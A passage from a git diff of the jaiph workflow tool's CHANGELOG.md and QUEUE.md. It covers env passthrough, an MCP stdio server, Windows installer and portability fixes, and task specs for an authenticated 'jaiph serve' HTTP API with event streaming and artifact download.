`[A-Za-z_][A-Za-z0-9_]*` or the run aborts with `E_ENV_INVALID`. **Semantics are uniform across every execution mode — `--env` defines the workflow process's env var, overriding inherited values.** In host modes (including `jaiph run --raw` and `jaiph mcp` tool calls) the pairs are applied to the runner env after `resolveRuntimeEnv` / `applySandboxFlags` (`Object.assign` in `src/cli/commands/run.ts`, `src/cli/mcp/call.ts`); in a Docker sandbox they are threaded through a new **`DockerSpawnOptions.extraEnv`** field into `buildDockerArgs` (`src/runtime/docker.ts`) and appended as explicit `-e KEY=VALUE` container args **bypassing `isEnvAllowed`**, with each key emitted **exactly once** — an `extraEnv` entry wins over the same key forwarded through the allowlist. Values cross **verbatim**: no path remapping is applied (that stays confined to the runtime-managed keys, which are rejected below). **Reserved keys are refused in both forms and all modes** with `E_ENV_RESERVED` (`isReservedEnvKey`): sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, anything `JAIPH_DOCKER_*`) and the runtime-managed keys `resolveRuntimeEnv` / `remapDockerEnv` own (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`) — use the sandbox flags (`--inplace` / `--unsafe`) or real env vars for those. On **`jaiph mcp`** the pairs (and the bare-form host lookup / `E_ENV_MISSING`) are resolved once at startup by `resolveEnvPairs` (`src/cli/run/env.ts`) and applied to **every** tool call's runner env for the server's lifetime; `extraEnv` is threaded through `McpCallEnvironment` as the single choke point so Docker-backed MCP calls, once they exist, flow through the same container path. `printUsage`, the per-command usage strings, and the examples gain the flag (`src/cli/shared/usage.ts`). Tests: `src/cli/shared/usage.test.ts` (parse: repeatable/ordered collection, both forms, `=` preserved in value, empty value, invalid name, reserved-key rejection per category, deferred bare-form host lookup), `src/runtime/docker.test.ts` (allowlist bypass, fail-closed default, single-emission de-dup), `src/cli/run/resolve-env.test.ts` (`E_ENV_MISSING`), `integration/mcp-server.test.ts`, `e2e/tests/140_env_passthrough.sh` (host `KEY=VALUE` / bare-forward legs, `E_ENV_MISSING` / `E_ENV_RESERVED` / `E_ENV_INVALID` aborts, and the Docker allowlist-bypass leg where Docker is available). Docs: `docs/cli.md` (`jaiph run` / `jaiph mcp` flag rows), `docs/env-vars.md`, `docs/sandboxing.md` (environment-exposure paragraph). +- **Feat — `jaiph mcp `: serve a file's workflows as MCP tools over stdio:** A new **`jaiph mcp`** subcommand (with **`jaiph --mcp `** as an ergonomic alias, dispatched alongside the subcommand in `src/cli/index.ts`) turns a `.jh` file into a [Model Context Protocol](https://modelcontextprotocol.io/) server so any MCP client (Claude Code, Claude Desktop, Cursor) can call the file's workflows as tools — `claude mcp add mytools -- jaiph mcp ./tools.jh`, no SDK project or build step. The transport is hand-rolled newline-delimited **JSON-RPC 2.0** over stdio with zero new dependencies (`src/cli/mcp/server.ts`, `McpServer`, injected `{serverVersion, getTools, callTool, write, log}`): `initialize` (version negotiation over `2024-11-05` / `2025-03-26` / `2025-06-18`, newest as fallback), `ping`, `tools/list`, `tools/call`, and `notifications/tools/list_changed` on hot reload; notifications are ignored, unknown methods are `-32601`, invalid JSON is `-32700` with `id: null`, and unknown tool / missing-or-non-string / unexpected argument are `-32602` (the call never starts) — while a **workflow failure is not a protocol error** but a normal result with `isError: true` and a `run dir:` pointer. **stdout carries only protocol JSON**; every banner, warning, exclusion notice, reload message, Docker notice, and credential-pre-flight warning goes to stderr, and compile diagnostics exit `1` with nothing on stdout. Tool derivation (`src/cli/mcp/tools.ts`, `deriveTools` / `toolNameFromFile`) runs over the entry file only: `export workflow` declarations if any exist, otherwise all top-level workflows minus channel route targets, with `default` exposed only when it is the sole candidate (named after the sanitized file basename); descriptions come from the `#` comment lines above each workflow (shebang lines dropped), and every parameter is a required string in the input schema. Calls execute on the host like `jaiph run --raw` (the Docker sandbox is not launched — a one-line stderr notice fires when the env would have enabled it), each as a durable `.jaiph/runs/` run with per-call run ids so concurrent calls are isolated; success text is the workflow's `return` value (`return_value.txt`) → `log` output → completion note (`src/cli/mcp/call.ts`, `src/cli/commands/mcp.ts`). Sources are watched (polling, ~750 ms): a valid edit re-derives tools and emits `notifications/tools/list_changed`, while an edit that fails to compile keeps the previous tool set serving. Two host-side runtime generalizations back this: `NodeWorkflowRuntime.runDefault(args)` is generalized to **`runRoot(workflowName, args)`** (same contract — emits `WORKFLOW_START`/`WORKFLOW_END` with the symbol, binds args to params by position, persists `return_value.txt` on success; `runDefault` delegates) and the runner dispatches any symbol via `runRoot` (`src/runtime/kernel/node-workflow-runtime.ts`, `node-workflow-runner.ts`); and a **launch-path fix** in `src/runtime/kernel/workflow-launch.ts` — `buildRunModuleLaunch` previously destructured the workflow symbol and then hardcoded `"default"` into the runner argv, so every spawned run executed `default` regardless of the requested symbol; it now passes `workflowSymbol || "default"` through, which also affects every `jaiph run`. `printUsage` gains a `jaiph mcp` line, section, and example (`src/cli/shared/usage.ts`). Tests: `src/cli/mcp/tools.test.ts`, `src/cli/mcp/server.test.ts`, `src/runtime/kernel/node-workflow-runtime.run-root.test.ts`, `src/runtime/kernel/workflow-launch.test.ts`, `integration/mcp-server.test.ts`, `e2e/tests/139_mcp_server_session.sh` (black-box through the real `jaiph` binary, wired into `npm run test:e2e`: a scripted stdio session — `initialize` / `tools/list` / a successful `tools/call` round-tripping a param through the workflow `return` / a failing `tools/call` — asserts every stdout line is valid JSON-RPC 2.0 with no banner or progress leakage, the successful tool result text equals the workflow's return value, the failing workflow yields `isError: true` rather than a protocol error, and the server exits `0` on stdin close; plus a regression leg pinning that `jaiph run` on a `default` workflow still exits `0` and prints its return value, guarding the shared `workflow-launch.ts` launch path in both the named-symbol and `default` directions). Docs: new `docs/mcp.md` (how-to), `docs/cli.md` (`jaiph mcp` reference section), `README.md`, and a landing-page feature note (`docs/index.html`). +- **Feat — Config interpolation: `${identifier}` and bare-identifier sugar in `config { }` string values:** Workflow and module `config` blocks previously accepted only static string literals, booleans, and integers — `agent.model = model` was a parse error and `"${model}"` was stored literally with no runtime expansion. String config values now support the same interpolation model as orchestration strings: a **bare identifier** on the RHS is sugar for a single `${identifier}` reference (`agent.model = model` ≡ `agent.model = "${model}"`), and quoted strings may embed `${identifier}` anywhere in the value. **Module-level** config resolves references from module `const` values and environment variables at CLI startup (`resolveModuleMetadata` in `src/config.ts`, wired through `jaiph run` in `src/cli/commands/run.ts`). **Workflow-level** config additionally resolves that workflow's parameters; the runtime now binds workflow params before applying workflow metadata (`applyMetadataScope` in `src/runtime/kernel/node-workflow-runtime.ts` calls `interpolateWorkflowMetadata`). Compile-time validation (`src/transpile/validate-config.ts`) rejects unknown identifiers in interpolated config values. `agent.backend` enum checking is deferred when the value contains interpolation. Formatter round-trip preserves bare-identifier sugar (`src/format/emit.ts`). Tests: `src/parse/parse-metadata.test.ts`, `src/transpile/validate-config.test.ts`, `src/runtime/kernel/node-workflow-runtime.artifacts.test.ts`, `e2e/tests/87_workflow_config.sh`. Docs: `docs/configuration.md`, `docs/grammar.md`. +- **Feature — Distro: native Windows smoke job in CI:** CI's only Windows coverage was `e2e-wsl`, which runs the suite inside WSL against the *Linux* binary. A new **`windows-native-smoke`** job (`.github/workflows/ci.yml`, `windows-latest`) proves the *native* `jaiph.exe` runs. It cross-compiles the standalone binary from the checkout (`bun build --compile --target=bun-windows-x64`, the same build as the release / `installer-powershell` legs) and runs **`e2e/tests/windows_native_smoke.ps1`** against it. The harness (a PowerShell acceptance test, same convention as `installer_powershell.ps1`, pointed at the binary via `JAIPH_TEST_WINDOWS_EXE`) covers three contracts, each failing when violated: (1) a **sample workflow** runs host-only (`JAIPH_UNSAFE=true`) exercising an inline shell line (through Git for Windows' `sh.exe`), a `script` step with a non-bash lang tag (` ```node `), `${…}` string interpolation, and `log` output — with assertions against the real `jaiph.exe` **stdout** (exit code `0` plus the interpolated `log` line and the `PASS` footer); (2) a **mid-run cancellation** records the workflow leader's descendant PID tree (`Win32_Process` parent/child links), delivers a real **Ctrl-C** isolated to the leader's own console (`AttachConsole` + `GenerateConsoleCtrlEvent`, so the CI runner shell is untouched), and fails if **any** descendant survives — exercising the win32 `taskkill /T /F` teardown path in `killProcessTree`; (3) a **`prompt`-step credential pre-flight** (`agent.backend = "codex"`, `OPENAI_API_KEY` unset, and `JAIPH_UNSAFE` dropped so the pre-flight runs — win32 forces host-only regardless) fails fast with the documented `E_AGENT_CREDENTIALS` error, bounded by a 30s `WaitForExit` so a hang is a failure, rather than calling any backend. The job never touches WSL — it shadows `wsl` so an accidental call throws — and now gates merge alongside `test`/`e2e`/`e2e-wsl` (added to `docker-publish`'s `needs`); `e2e-wsl` is left in place. Host-portable guards in `integration/windows-native-smoke.test.ts` pin the CI job shape and the harness contract (build command, stdout assertions, cancellation orphan check, pre-flight error, no-WSL, gate membership) so a regression fails `npm test` on any platform. +- **Feature — Distro: main-page install tabs — Windows variant with platform auto-detect:** The landing page (`docs/index.html`) hero install card now offers a Windows PowerShell path alongside the POSIX `curl … | bash` one-liners, and defaults to the right one for the visitor's platform. A new **`.os-switch`** sub-toggle (two buttons, `data-os="posix"` "macOS / Linux" and `data-os="windows"` "Windows", `role="group"`) sits above the existing run-sample / init-project / just-install tabs, and every tab panel now wraps its content in two **`.os-variant`** blocks (`data-os="posix"` / `data-os="windows"`). On load, **`attachOsSwitch()`** (`docs/assets/js/main.js`, scoped to `section.try-it-out .card`) auto-selects the Windows variant for Windows visitors via **`isWindowsPlatform()`** — which prefers `navigator.userAgentData?.platform` and falls back to `navigator.platform`, matching `/win/i` — while macOS/Linux visitors keep exactly today's POSIX default with no layout shift; **`setOsVariant()`** flips the `is-active` class on both the switch buttons and the variants across all three panels, so a manual platform choice (or a tab switch) is remembered card-wide. The **"Just install"** Windows variant is the copy-able `irm https://jaiph.org/install.ps1 | iex` line (via the existing copy button) plus the `npm install -g jaiph` alternative. The **"Run sample"** and **"Init project"** tabs have no PowerShell equivalent for their `curl … | bash -s` / `curl … | bash` pipes, so instead of showing a bash-only command as the Windows default they show the install one-liner followed by a short "then run:" `jaiph run say_hello.jh Adam` / `jaiph init` step (installing to `%LOCALAPPDATA%\jaiph\bin`). The static-render constraint holds: the POSIX variant carries `is-active` in the shipped markup and CSS keeps `.os-variant { display: none }` / `.os-variant.is-active { display: block }` (`docs/assets/css/style.css`), so with JS disabled all three bash one-liners render, no panel is blank, and the Windows variant stays reachable in the tab markup — JS only reveals it on demand (and by default for Windows). New Playwright cases in the docs suite (`e2e/playwright/landing-page.spec.ts`, alongside the "Try it out" test) emulate the platform before page scripts run and assert: a Windows visitor defaults to the `irm … | iex` command, a macOS/Linux visitor's default is unchanged from today, manual platform + tab switching works in both directions, the copy button on the Windows variant copies the exact `irm … | iex` line (asserted through a clipboard stub), and with JavaScript disabled all bash commands render with no blank panel. No `docs/*.md` or `README.md` change is needed — the Windows install path is already documented in `docs/setup.md` (`/how-to/install`) and the README install section; this task is landing-page presentation only, with no runtime, CLI, or installer behavior change. +- **Feature — Distro: PowerShell installer at `jaiph.org/install.ps1`:** Windows now has a native install path to match the POSIX `curl … | bash` one. A new **`docs/install.ps1`** (served as `https://jaiph.org/install.ps1`, run with `irm https://jaiph.org/install.ps1 | iex`) is the counterpart to `docs/install`: it downloads **`jaiph-windows-x64.exe`** and `SHA256SUMS` from the pinned release ref (default the current stable tag `v0.10.0`, overridable via `JAIPH_REPO_REF` or the first argument — mirroring the bash installer — plus `JAIPH_RELEASE_BASE_URL` for a local/`file://` release dir used by the tests), verifies the SHA-256 with **`Get-FileHash`** against `SHA256SUMS` and aborts installing nothing on mismatch, then installs to **`%LOCALAPPDATA%\jaiph\bin\jaiph.exe`** (overridable via `JAIPH_BIN_DIR`), adds that directory to the user `PATH` if absent, and prints the same `jaiph --version` / `jaiph --help` try-it hints as the bash installer. Non-x64 / ARM Windows exits non-zero with a documented unsupported-platform message pointing at the from-source instructions (Bun has no Windows arm64 target, so Windows ships x64 only). The bash installer (`docs/install`) now rejects Windows-like `uname` values (`MINGW*`/`MSYS*`/`CYGWIN*`/`Windows_NT`) and points at the PowerShell one-liner instead of the generic build-from-source message; the release-prep workflow (`.jaiph/prepare_release.jh`) rewrites the pinned `vX.Y.Z` ref in **both** `docs/install` and `docs/install.ps1` in lockstep so they can never drift. CI gains an **`installer-powershell`** job on `windows-latest` that cross-compiles the real `jaiph-windows-x64.exe` (same build as the release leg) and runs `e2e/tests/installer_powershell.ps1` against `docs/install.ps1` — checksum mismatch (non-zero, no binary left), unsupported arch (documented message), and a happy-path install where `jaiph --version` works with no Node/npm/Bun on `PATH`; the Docker publish job now `needs` it. Host-portable guards live in `integration/installer-powershell.test.ts` (installer contract, bash↔PowerShell lockstep ref, docs parity). Docs updated (`docs/setup.md`, `docs/index.html`, `docs/architecture.md`, `docs/contributing.md`). +- **Feature — Distro: build and release `jaiph-windows-x64.exe`:** The release workflow (`.github/workflows/release.yml`) now cross-compiles and publishes a Windows binary alongside the existing darwin/linux × arm64/x64 set. A new matrix entry `bun-windows-x64` (`os: windows`, `arch: x64`) produces the asset **`jaiph-windows-x64.exe`**; Bun has no `bun-windows-arm64` target, so Windows ships x64 only. The matrix gained an `ext` field (`""` for POSIX, `".exe"` for Windows) so the compiled `--outfile` and the uploaded artifact carry the extension. `SHA256SUMS` generation now covers all **five** binaries including the `.exe`, and both the stable (`v*`) and rolling `nightly` `gh release` upload lists ship the `.exe` — so every release publishes **six** assets (five binaries + `SHA256SUMS`). A new **`sanity-windows`** job runs on `windows-latest`, downloads the `.exe` artifact, and runs `jaiph-windows-x64.exe --version` through the version gate; the publish job now `needs: [build, sanity-windows]`, so a Windows version mismatch fails the whole release. The linux-x64 gate's inline version comparison was extracted into a shared, unit-testable **`scripts/release-version-check.sh`** (` `: stable output must equal `jaiph ` exactly; any other channel only has to look like a `jaiph ` banner), and both the linux-x64 and windows-x64 gates delegate to it so the comparison lives in one place. The bash installer (`docs/install`) and its e2e test (`e2e/tests/07_installer_binary.sh`) are unchanged — they resolve darwin/linux names from `{os}×{arch}` and cannot install a Windows `.exe` via `curl … | bash`; Windows users download the `.exe` from the Release directly. New acceptance tests (`integration/release-workflow.test.ts`) assert the five-binary matrix (and the absence of a windows-arm64 target), that `SHA256SUMS` and both upload lists include the `.exe`, that a `.exe` checksum entry round-trips through the installer's own `awk` lookup, that the shared gate fails on a stable tag/version mismatch and passes on a match, that the `windows-latest` job runs `--version` through the shared script and blocks publish, and that the naming contract ↔ release matrix ↔ installer asset names stay in parity. Docs updated (`docs/architecture.md`, `docs/contributing.md`). +- **Fix — Portability: home-dir fallback, Docker gating on Windows, and a single ANSI policy:** Three remaining POSIX assumptions that broke a host-only `win32` runtime are closed. (1) **Home directory** — `prepareClaudeEnv` (`src/runtime/kernel/prompt.ts`) resolved the `.claude` config dir from `execEnv.HOME || process.env.HOME`, which is empty in a `USERPROFILE`-only Windows environment. It now falls back to `os.homedir()` as a final source (`execEnv.HOME || process.env.HOME || homedir()`); an explicit `HOME` in `execEnv` still wins. (2) **Docker gating** — the Docker sandbox hardcodes POSIX socket paths and Linux/macOS workspace-presentation branches, so it is out of scope on Windows. `resolveDockerConfig` (`src/runtime/docker.ts`) now forces **host-only mode** on `win32` (same UX as an explicit `JAIPH_UNSAFE=true`) with a one-line notice emitted once per process, so the CLI never probes `docker` and never hard-fails on a missing daemon; `JAIPH_DOCKER_ENABLED=true` cannot override this. (3) **ANSI colors** — a new **`canUseAnsi(stream?)`** helper in the portability module (`src/runtime/kernel/portability.ts`) returns `isTTY && NO_COLOR`-unset, and every color/erase emission site (`src/cli/commands/run.ts`, `src/cli/run/progress.ts`, `src/cli/shared/errors.ts`) routes its gate through it so the policy lives in one place; no rendering change is needed because Node enables console VT processing on Windows 10+ automatically, making `isTTY` a sufficient ANSI proxy. New unit tests: `prepareClaudeEnv` resolves from a stubbed `os.homedir()` when `HOME` is unset and prefers `execEnv.HOME` when set (`src/runtime/kernel/prompt.test.ts`); `resolveDockerConfig` under a stubbed `win32` returns host-only, emits the notice once, and performs zero `docker` invocations (`src/runtime/docker.test.ts`); `canUseAnsi()` is false when `isTTY` is false or `NO_COLOR` is set, plus a `src/`-wide lint test asserting no production file outside `portability.ts` gates directly on `isTTY && NO_COLOR` (`src/runtime/kernel/portability.test.ts`). Docs updated (`docs/architecture.md`, `docs/sandboxing.md`, `docs/configuration.md`, `docs/env-vars.md`). +- **Fix — Portability: single `resolveShell()` seam for inline shell lines and hooks:** Inline workflow shell lines (`executeShLine` in `src/runtime/kernel/node-workflow-runtime.ts`) and hook commands (`src/cli/run/hooks.ts`) used to run via a hardcoded `spawn("sh", ["-c", …])`. That works on POSIX but fails on `win32`, where there is no `sh` on the default `PATH`. A new **`resolveShell(): string`** in the portability module (`src/runtime/kernel/portability.ts`) is now the single seam both call sites go through. On POSIX it returns bare `sh`. On `win32` it locates Git for Windows' bundled `sh.exe` — first on `PATH`, then in the standard install layouts (`/bin/sh.exe`, `/usr/bin/sh.exe`) under each known root (`%ProgramFiles%`, `%ProgramFiles(x86)%`, `%ProgramW6432%`, plus the default `C:\Program Files` / `C:\Program Files (x86)`) — and throws a diagnosable Jaiph error with the stable code **`E_NO_POSIX_SHELL`** naming Git for Windows (https://git-scm.com/download/win) as the fix if none is found. Resolution is memoized for the lifetime of the process. Crucially, inline lines are **never** translated to `cmd`/PowerShell — Jaiph's language semantics require POSIX `sh` on every platform, or workflows stop being portable — so the seam only ever resolves *which* `sh` to run, never rewrites the command. POSIX inline-shell semantics are unchanged (existing e2e passes). New unit tests (`src/runtime/kernel/portability.test.ts`) stub `process.platform` and the `PATH` / existence lookup: POSIX returns `sh`, `win32` returns a discovered `sh.exe` path (both the on-`PATH` and Git-for-Windows-fallback branches), `win32` with no shell available throws `E_NO_POSIX_SHELL` with a message naming Git for Windows, and the result is memoized (the existence probe is not consulted on a second call); a `src/`-wide lint test asserts no production file outside `portability.ts` calls `spawn("sh"` / `spawn('sh'` directly. Docs updated (`docs/architecture.md`). +- **Fix — Portability: execute script steps via an explicit interpreter, not shebang + exec bit:** Script steps used to run by spawning the emitted file directly (`executeScript` in `src/runtime/kernel/node-workflow-runtime.ts`), relying on the `#!/usr/bin/env ` shebang line and the `0o755` bit set by `src/transpile/build.ts`. Windows honors neither, and `noexec` mounts on Linux strip the exec bit — both break script execution. The runtime already knows the interpreter (it writes the shebang itself), so `executeScript` now reads the emitted script's shebang and resolves the interpreter through the new **`resolveInterpreterFromShebang`** (`src/parse/script-bash.ts`) — `#!/usr/bin/env ` → spawn ``, an absolute-path shebang (`#!/bin/bash`) → spawn that path, an `env -S` split-flag form → the real interpreter after `-S`, a missing/blank shebang → default `bash` — then spawns ` ` explicitly. The shebang line is **still** written into every emitted script (they stay directly executable by hand on POSIX) and the `0o755` bit is still set, but the runtime no longer depends on either being honored by the OS. A spawn `ENOENT` from an interpreter missing on `PATH` now surfaces as a diagnosable Jaiph error naming the interpreter (`script interpreter "" not found — install it or fix the script shebang`) instead of a raw `spawn ENOENT`. New unit tests assert the resolved interpreter + argv on the spawn call itself through an injectable `_scriptSpawn` seam (`src/runtime/kernel/node-workflow-runtime.script-exec.test.ts`), prove that a script with the exec bit stripped (`0o644`) still runs on POSIX, and prove that a missing-interpreter shebang produces the diagnosable error; `resolveInterpreterFromShebang` gets its own unit coverage (`src/parse/script-bash.test.ts`). Docs updated (`docs/architecture.md`, `docs/setup.md`). +- **Fix — Portability: cross-platform process-tree termination:** `jaiph run` spawns the workflow leader with `detached: true` (`src/runtime/kernel/workflow-launch.ts`) and previously stopped it via `process.kill(-pid, signal)` — a negative-PID group kill, which signals the leader's whole process group. That primitive is POSIX-only: on `win32` it throws, the previous `child.kill()` fallback terminated only the leader, and the agent backends / script children it spawned were **orphaned**. A new portability module `src/runtime/kernel/portability.ts` exports **`killProcessTree(pid, signal)`** and is now the single sanctioned home for group kills. On POSIX it preserves the prior behavior — `process.kill(-pid, signal)` with a per-process fallback when the group no longer exists (`ESRCH`). On `win32` it force-kills the entire tree with `taskkill /pid /T /F` (spawned via an injectable `_portability.spawn` seam, not shelled), degrading to a per-process `process.kill(pid, signal)` if `taskkill` cannot be launched (reported asynchronously via the child's `error` event). Because `taskkill /F` is already a forceful kill with no graceful phase, a follow-up `SIGKILL` escalation after a `SIGTERM`/`SIGINT` is a **documented no-op** on `win32` — the tree is already gone. Every subprocess-termination call site is repointed at the helper: run teardown `terminateRunProcessGroup` (`src/cli/run/lifecycle.ts`, previously the negative-PID group kill) and the two SIGTERM→SIGKILL escalation paths that previously assumed POSIX signal semantics via `child.kill()` — the prompt watchdog's `killChild` (`src/runtime/kernel/prompt.ts`) and the Docker run-timeout kill (`src/runtime/docker.ts`) — so those escalations now terminate the whole child tree instead of just the leader. POSIX Ctrl-C behavior of `jaiph run` is unchanged (leader and children terminate; exit code and cleanup semantics identical), covered by the existing signal-lifecycle e2e. New unit tests (`src/runtime/kernel/portability.test.ts`) cover both platform branches by stubbing `process.platform` (precedent: `src/runtime/docker.test.ts`) and assert the exact mechanism invoked — negative-PID kill on POSIX (plus the ESRCH per-process fallback and SIGKILL escalation), `taskkill /pid /T /F` argv on `win32` (SIGTERM, SIGINT/Ctrl-C, and the degrade-to-per-process path), a proof that the win32 branch **never** calls `process.kill` with a negative PID, and a `src/`-wide lint test asserting no production file outside `portability.ts` matches `process.kill(-`. The watchdog unit tests in `src/runtime/kernel/prompt.test.ts` are updated to spy on `process.kill` (the watchdog now terminates through `killProcessTree`). Docs updated (`docs/architecture.md`, `docs/configuration.md`). + # 0.10.0 ## Summary diff --git a/QUEUE.md b/QUEUE.md index 64f890c3..ddf71b2c 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,3 +13,165 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** + +## Feat: `jaiph serve` — HTTP API with OpenAPI + Swagger UI #dev-ready + +**Source:** Deployability feedback (2026-07-23): workflows must be invokable over the network and self-describing, not bound to a local stdio parent. Full contract: `design/2026-07-23-serve-http-api.md` — that document is the spec; this task pins the deliverable and its acceptance. + +**Problem:** `jaiph mcp` (`src/cli/commands/mcp.ts`) exposes workflows only over stdio JSON-RPC to a co-located parent process. There is no way to invoke a workflow over HTTP, no machine-readable API description, and no browser-usable surface. This blocks running jaiph as a deployed service (docker/kubernetes) callable by other systems. + +**Required behavior** (details, endpoint table, and error contract in the design doc): + +* New command `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... `, default `127.0.0.1:5247`, dispatched from `src/cli/index.ts`, implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`. Hand-rolled on `node:http` — **no runtime npm dependencies** (project policy; the MCP server set the precedent). devDependencies for tests are fine. +* Startup identical in spirit to `jaiph mcp`: graph load + `collectDiagnostics` (errors → stderr, exit 1), `--env` resolved once via `resolveEnvPairs`, Docker config resolved once, image prepared once, credential preflight as warnings, sandbox-mode startup notice. Logs to stderr; startup line prints listen URL + `/docs` URL. +* Endpoints (this task): `GET /` → 302 `/docs`; `GET /healthz`; `GET /openapi.json`; `GET /docs`; `GET /v1/workflows`; `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → `200` terminal); `GET /v1/runs`; `GET /v1/runs/{id}`; `POST /v1/runs/{id}/cancel`. Run object and `{error:{code,message}}` shape per the design doc. A workflow failure is **not** an HTTP error (run object `status:"failed"`, HTTP 200/202). +* Exposure, naming, descriptions, and request-body schemas come from `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties: false`). Param validation mirrors the MCP `-32602` rules as HTTP 400. +* Execution reuses the MCP call layer: move `src/cli/mcp/call.ts` to `src/cli/exec/call.ts`, rename `McpCallResult` → `WorkflowCallResult`, let the caller supply `runId` (today created inside `callWorkflow`), and extend the result with `{runDir?, exitStatus?, signal?}`. `jaiph mcp` behavior is unchanged after the move (its tests prove it). Sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. +* Hot reload: extract the generation machinery (`loadState`, watch/rewatch, generation dirs) from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts`, used by both commands. For serve, a superseded generation's out dir is deleted only after its in-flight runs finish (refcount), since HTTP runs can outlive a reload. +* Auth: bearer token from `JAIPH_SERVE_TOKEN`, constant-time compare; required for all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only — documented trade). **Binding a non-loopback host without the token set is a startup error.** +* Concurrency cap `JAIPH_SERVE_MAX_CONCURRENT` (default 4) on simultaneous runs → `429`. Body cap 1 MiB → `413`; non-JSON POST → `415`. +* `GET /openapi.json`: OpenAPI **3.1.0** generated per request by a pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`): one concrete path per workflow (own `operationId`, description from `#` comments, MCP input schema as request body), the run-resource paths, run/error component schemas, bearer `securityScheme`. +* `GET /docs`: static Swagger UI shell loading `swagger-ui-dist` from CDN with **pinned exact version + SRI integrity hashes + crossorigin**, `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})`. No embedded/vendored UI assets (decision + air-gap consequence recorded in the design doc; `/openapi.json` is the offline fallback). +* Shutdown: first SIGINT/SIGTERM stops accepting and drains in-flight runs; second signal cancels them; exit 0. +* Docs: new `docs/serve.md` how-to; `docs/cli.md` section; `printUsage` in `src/cli/shared/usage.ts`; README bullet; `docs/env-vars.md` rows for `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` (src-parity docs-lint pins every new `JAIPH_*` name). + +Acceptance: + +* Integration test (real server, port 0, fixture `.jh`): `POST /v1/workflows/{name}/runs?wait=true` round-trips a workflow `return` value in `result_text` with `status:"succeeded"`; async POST returns `202` + `Location`, and polling `GET /v1/runs/{id}` reaches the same terminal result; the run dir exists under `.jaiph/runs/` with `run_summary.jsonl`. +* Integration test: a failing workflow returns HTTP 200 (`wait=true`) with `status:"failed"`, `exit_status` set, and `result_text` containing the failed step and `run dir:` — proving workflow failure is not an HTTP error. +* Unit tests (injected-deps handler, `McpServer`-style): unknown workflow → 404; missing / non-string / unexpected param key → 400; cancel → 202 then terminal `cancelled` (child + container teardown invoked), cancel on terminal run → 409; concurrency cap → 429; body cap → 413; non-JSON POST → 415. +* Auth matrix test: with `JAIPH_SERVE_TOKEN` set, `/v1/*` without or with a wrong bearer → 401 and correct bearer → 200, while `/healthz`, `/openapi.json`, `/docs` answer 200 unauthenticated; a unit test proves non-loopback `--host` without the token exits 1 before listening. +* `buildOpenApi` output passes a real OpenAPI 3.1 schema validator (devDependency, test-only); a test asserts one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture. +* A test asserts the `/docs` HTML pins an exact `swagger-ui-dist` version with `integrity` + `crossorigin` attributes on both assets. +* Hot-reload integration test: adding a workflow to the fixture file surfaces it in `/openapi.json` and `/v1/workflows` without restart; a run started before the reload still completes successfully. +* `jaiph mcp` unit/integration tests pass unchanged after the `call.ts`/generation extraction (no behavior drift in the shared layer). +* `package.json` `dependencies` remains absent/empty; `npm test` passes (which enforces the env-vars docs parity rows). + +*** + +## Feat: `jaiph serve` run inspection — live event stream + artifacts #dev-ready + +**Source:** Deployability feedback (2026-07-23): "a UI on top to be able to inspect what it is doing" — the API half of that is streaming run events and exposing artifacts over HTTP. Contract: `design/2026-07-23-serve-http-api.md` (§ Events streaming). Requires the `jaiph serve` command (`src/cli/commands/serve.ts`, run registry + bearer auth) already in the codebase. + +**Problem:** A `jaiph serve` client can see a run's terminal result but not what the run is doing while it executes, and cannot retrieve published artifacts. The durable journal (`run_summary.jsonl`, written by `RuntimeEventEmitter` — hash-chained, credential-redacted, host-visible in every sandbox mode because the run dir is a host mount) already contains everything needed; it just isn't reachable over HTTP. + +**Required behavior:** + +* `GET /v1/runs/{id}/events` (bearer-authed, 404 unknown run): + * default: `application/x-ndjson` — the run's `run_summary.jsonl` content as-is, then close. + * `Accept: text/event-stream` → SSE: replay every existing journal line as `data: `, then follow the file (poll ~250 ms) emitting new lines as they append; when the server's registry marks the run terminal, emit `event: end` and close. Keep-alive comment (`:ka`) every 15 s. Works for already-terminal runs (full replay + immediate `end`). + * The journal is served verbatim — the redaction already applied by `RuntimeEventEmitter` is the redaction guarantee. Raw `%06d-*.out/.err` capture files are **never** exposed by any endpoint. +* `GET /v1/runs/{id}/artifacts` → JSON list of files under the run dir's `artifacts/` (relative paths, size, mtime); empty list when none. +* `GET /v1/runs/{id}/artifacts/{path}` → file bytes, `application/octet-stream`, `Content-Disposition` filename. **Traversal-proof:** resolve the requested path against the artifacts dir and reject (404) anything escaping it — `..` segments, absolute paths, and symlinks pointing outside the artifacts dir (check `realpath` containment, not string prefix only). +* Docker-mode runs: the journal/artifacts are read from the host-side run dir (discovered as the existing call layer already does via `discoverDockerRunDir`/`remapContainerPath` in `src/cli/shared/errors.ts`). +* Docs: extend `docs/serve.md` with a "watch a run" section (curl SSE example) and artifacts section; note the raw-captures non-exposure as a security property. + +Acceptance: + +* Integration test with a multi-step fixture workflow slow enough to observe (e.g. `sleep` steps): connect SSE mid-run and assert (a) replayed `WORKFLOW_START` arrives, (b) at least one `STEP_END` event arrives **before** the run is terminal, (c) `event: end` arrives and the socket closes after completion, (d) the concatenated `data:` payloads equal the final `run_summary.jsonl` line set. +* Test: NDJSON mode on a terminal run byte-matches the journal file; events endpoint on an unknown run id → 404; unauthenticated → 401. +* Redaction test: a workflow that 